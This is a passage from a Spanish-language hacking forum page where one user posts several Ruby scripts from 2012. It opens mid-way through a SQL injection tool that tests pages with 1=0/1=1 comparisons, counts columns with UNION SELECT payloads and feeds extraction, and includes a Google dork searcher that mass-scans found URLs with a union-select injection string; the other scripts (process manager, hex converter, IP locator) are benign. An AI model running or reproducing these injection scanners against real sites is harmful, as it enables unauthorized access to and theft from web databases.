  449.  elsif op == "14"
  450.    copyright()
  451.  else
  452.    retorno(url,by)
  453.  end
  454. end
  455.  
  456. def findlength(url,by)
  457.  pass1,pass2 = bypass(by)
  458.  z = "1"
  459.  x = "concat(0x4b30425241,1,0x4b30425241)"
  460.  for num in ('2'..'25')
  461.    z = z+","+num
  462.    x= x+","+"concat(0x4b30425241,"+num+",0x4b30425241)"
  463.    code = toma(url+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+x)
  464.    if code=~/K0BRA(.*?)K0BRA/
  465.      print "[+] The Page has "+num+" columns\n"
  466.      print "[+] The number "+$1+" print data"
  467.      z = z.sub($1,"hackman")
  468.      sqli = url+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+z
  469.      savefile(url,"[+] SQLI : "+sqli)
  470.      savefile(url,"[+] Bypass : "+by+"\n")
  471.      central(sqli,by)
  472.    end
  473.  end
  474. end
  475.  
  476. def testvul(page,by)
  477.  pass1,pass2 = bypass(by)
  478.  print "\n\n[+] Testing vulnerability ...\n\n"
  479.  codeuno = toma(page+"1"+pass1+"and"+pass1+"1=0"+pass2)
  480.  codedos = toma(page+"1"+pass1+"and"+pass1+"1=1"+pass2)
  481.  if codeuno != codedos
  482.    print "[+] Vulnerable !\n"
  483.    findlength(page,by)
  484.  else
  485.    print "[-] Not vulnerable\n"
  486.    print "\n\n[+] Scan anyway y/n : "
  487.    op = gets.chomp
  488.    if op == "y"
  489.      findlength(page,by)
  490.  else
  491.    volverinicio()
  492.  end
  493. end  
  494. end
  495.  
  496. def inicio()
  497.  clean()
  498.  head()
  499.  print "\n\n[+] Page : "
  500.  page = gets.chomp
  501.  print "\n\n[+] Bypass : "
  502.  by = gets.chomp
  503.  if page=~/hackman/
  504.    central(page,by)
  505.  else
  506.    testvul(page,by)
  507.  end
  508. end
  509.  
  510. installer()
  511. inicio()
  512.  
  513. # The End ?
  514.  
287  Programación / Scripting / [Ruby] ManProcess 0.1 en: 16 Febrero 2012, 18:14 pm
Un simple programa para manejar los procesos en Windows.

Código
  1. #!usr/bin/ruby
  2. #ManProcess 0.1
  3. #Coded By Doddy H
  4.  
  5. require "win32ole"
  6.  
  7. def head()
  8.  print "\n\n-- == Man Process 0.1 == --\n\n"
  9. end
  10.  
  11. def copyright()
  12.  print "\n\n(C) Doddy Hackman 2012\n\n"
  13.  exit(1)
  14. end
  15.  
  16. def retor()
  17.  print "\n\n[+] Press any key to continue\n\n"
  18.  gets.chomp
  19. end
  20.  
  21. while 1
  22.  head()
  23.  print "1 - Show Process\n"
  24.  print "2 - Close Process\n"
  25.  print "3 - Exit\n\n\n"
  26.  print "[+] Option : "
  27.  op = gets.chomp
  28.  if op == "1"
  29.    print "\n\n[+] Getting process...\n\n"
  30.    nave = WIN32OLE.connect("winmgmts://")
  31.    pro = nave.ExecQuery("select * from win32_process")
  32.    pro.each do |po|
  33.      print "[+] Name : ",po.Caption," [+] PID : ",po.ProcessId,"\n"
  34.    end
  35.    retor()
  36.  
  37.  elsif op == "2"
  38.    print "\n\n[+] Name : "
  39.    name = gets.chomp
  40.    k = WIN32OLE.connect("winmgmts://")
  41.    control = k.ExecQuery("select * from Win32_process where name='#{name}'")
  42.    control.each do |pro|
  43.      pro.Terminate
  44.    end
  45.    print "\n\n[+] Process Closed\n\n"
  46.    gets.chomp
  47.  elsif op == "3"
  48.    copyright()
  49.  else
  50.    print "\n\n[-] Bad Option\n\n"
  51.    retor()
  52.  end
  53. end
  54.  
  55.  
  56. # The End ?
  57.  
288  Programación / Scripting / [Ruby] Hex Converter 0.1 en: 16 Febrero 2012, 18:12 pm
Un simple codigo para convertir texto a hex.

Código
  1. #!usr/bin/ruby
  2. #Hex Converter 0.1
  3. #Coded By Doddy H
  4.  
  5. def head()
  6.  print "\n -- == Hex Converter 0.1 == --\n"
  7. end
  8.  
  9. def copyright()
  10.  print "\n\n(C) Doddy Hackman 2012\n\n"
  11.  exit(1)
  12. end
  13.  
  14. def sintax()
  15.  print "\n\n[+] ruby hex.rb <text>\n"
  16. end
  17.  
  18. def encodehex(texto)
  19.  return "0x"+(texto.unpack('H*')[0])
  20. end
  21.  
  22. def hex(texto)
  23.  print "\n\n[+] Text : #{texto}\n"
  24.  print "[+] Result : "+encodehex(texto)+"\n\n"
  25. end
  26.  
  27. texto = ARGV[0]
  28.  
  29. head()
  30. if !texto
  31.  sintax()
  32. else
  33.  hex(texto)
  34. end
  35. copyright()
  36.  
  37. # The End ?
  38.  
289  Programación / Scripting / [Ruby] Google Search 0.3 en: 11 Febrero 2012, 23:06 pm
Un buscador de google , con la opcion de poder hacer un scanner SQLI en las paginas encontradas.

Código
  1. #!usr/bin/ruby
  2. #Google Search 0.3
  3. #Coded By Doddy H
  4.  
  5. require "net/http"
  6.  
  7. def toma(web)
  8.  return Net::HTTP.get_response(URI.parse(web)).body
  9. end
  10.  
  11. def openwords(file)
  12.  if File.file?(file)
  13.    print "[+] Opening file\n\n"
  14.    ar = File.open(file)
  15.    lineas = ar.readlines
  16.    ar.close
  17.    print "[+] Number of words : ",lineas.length,"\n\n"
  18.    return lineas
  19.  else
  20.    print "[-] Error opening file\n"
  21.  end
  22. end
  23.  
  24. def head()
  25.  print "
  26.  @@@@                     @           @@@                        @    
  27. @    @                    @          @   @                       @    
  28. @                         @          @                           @    
  29. @        @@@   @@@   @@@@ @  @@@     @       @@@   @@@  @@  @@@  @ @@
  30. @  @@@  @   @ @   @ @   @ @ @   @     @@@   @   @     @ @  @   @ @@  @
  31. @    @  @   @ @   @ @   @ @ @@@@@        @  @@@@@  @@@@ @  @     @   @
  32. @    @  @   @ @   @ @   @ @ @            @  @     @   @ @  @     @   @
  33. @   @@  @   @ @   @ @   @ @ @   @    @   @  @   @ @   @ @  @   @ @   @
  34.  @@@ @   @@@   @@@   @@@@ @  @@@      @@@    @@@   @@@@ @   @@@  @   @
  35.                         @                                            
  36.                     @@@@                                              
  37.  
  38.  
  39.  
  40.                     "
  41. end
  42.  
  43. def retor()
  44.  print "\n\n[+] Press any key to continue\n\n"
  45.  gets.chomp
  46.  menu()
  47. end
  48.  
  49.  
  50. def copyright()
  51.  print "\n\n(C) Doddy Hackman 2012\n\n"
  52.  exit(1)
  53. end
  54.  
  55. def about()
  56.  print "
  57.  
  58. This program was written by Doddy in the summer of 2012, I will not take responsibility for any misuse that can be given to the program was written only for educational purposes.
  59. Any questions or suggestions please contact me my mail lepuke [at] hotmail.com
  60.  
  61.  "
  62.  
  63. end
  64.  
  65.  
  66. def googlear(string,cantidad)
  67.  print "\n\n[+] Searching ....\n\n"
  68.  string = string.sub(/ /,"+")
  69.  contador = 0
  70.  guardo = []
  71.  for i in ("1"..cantidad)
  72.    contador+=10
  73.    url = "http://www.google.com.ar/search?hl=&q=#{string}&start=#{contador}"
  74.    code = toma(url)
  75.    links = URI::extract(code)
  76.    links.each do |link|
  77.      if link=~/cache:(.*?):(.*?)\+/
  78.        guardo.push($2)
  79.      end
  80.    end
  81.  end
  82.  guardo = guardo.uniq
  83.  print "\n\n[+] Pages Count : ",guardo.length,"\n\n"
  84.  return guardo
  85. end
  86.  
  87. def savefile(file,text)
  88.   save = File.open(file, "a")
  89.   save.puts text+"\n"
  90.   save.close
  91. end
  92.  
  93. def menu()
  94.  head()
  95.  print "\n\n1 - Search in google\n"
  96.  print "2 - Scan SQLI\n"
  97.  print "3 - About\n"
  98.  print "4 - Exit"
  99.  print "\n\n[Option] : "
  100.  op = gets.chomp
  101.  
  102.  if op == "1"
  103.    print "\n\n[+] String : "
  104.    string = gets.chomp
  105.    print "\n\n[+] Pages : "
  106.    pages = gets.chomp
  107.    total = googlear(string,pages)
  108.    total.each do |to|
  109.      print "[Link] : ",to,"\n"
  110.      savefile(string+".txt",to)
  111.    end
  112.    retor()
  113.  
  114.  elsif op=="2"
  115.    print "\n\n[+] File : "
  116.    fi = gets.chomp
  117.    paginas = openwords(fi)
  118.    print "[+] Scanning ..\n\n\n"
  119.    paginas.each do |pag|
  120.      pag = pag.chomp
  121.      if pag=~/(.*)=(.*)/
  122.        final = $1+"="
  123.        code = toma(final+"1+and+1=0+union+select+1--")
  124.        if code=~/The used SELECT statements have a different number of columns/
  125.          print "[SQLI] : "+final+"\n"
  126.        end
  127.      end
  128.    end
  129.    print "\n\n[+] Finished\n\n"
  130.    retor()
  131.  
  132.  elsif op =="3"
  133.    about()
  134.    gets.chomp
  135.    menu()
  136.  
  137.  elsif op=="4"
  138.    copyright()
  139.  else
  140.   menu()    
  141.  end
  142. end
  143.  
  144. menu()
  145.  
  146. # The End ?
  147.  
  148.  
290  Programación / Scripting / [Ruby] IP Locator 0.1 en: 11 Febrero 2012, 23:06 pm
Un localizador de IP.

Código
  1. #!usr/bin/ruby
  2. #IP Locator 0.1
  3. #Coded By Doddy H
  4.  
  5. require "net/http"
  6. require "resolv"
  7.  
  8. def uso
  9.  print "\n[+] iplocator.rb <site>\n"
  10. end
  11.  
  12. def toma(web)
  13.  return Net::HTTP.get_response(URI.parse(web)).body
  14. end
  15.  
  16. def head()
  17.  print "\n\n -- == IP Locator 0.1 == --\n\n"
  18. end
  19.  
  20. def copyright()
  21.   print "\n\n\n(C) Doddy Hackman 2012\n\n"
  22.   exit(1)
  23. end
  24.  
  25. target = ARGV[0]
  26.  
  27. head()
  28. if !target
  29.  uso()
  30. else
  31.  ip = Resolv.getaddress(target)
  32.  web = "http://www.melissadata.com/lookups/iplocation.asp?ipaddress="+ip
  33.  print "\n\n[+] Getting info\n\n\n"
  34.  code = toma(web)
  35.  if code=~/City<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
  36.    print "[+] City : "+$2+"\n";
  37.  end
  38.  if code=~/Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
  39.    print "[+] Country : "+$2+"\n";
  40.  end
  41.  if code=~/State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
  42.     print "[+] State or Region : "+$2+"\n";
  43.  end
  44. end
  45.  
  46. copyright()
  47.  
  48. # The End ?
  49.  
Páginas: 1 ... 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 [29] 30 31 32 33 34 35 36 37 38 39 40 41 42 43
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines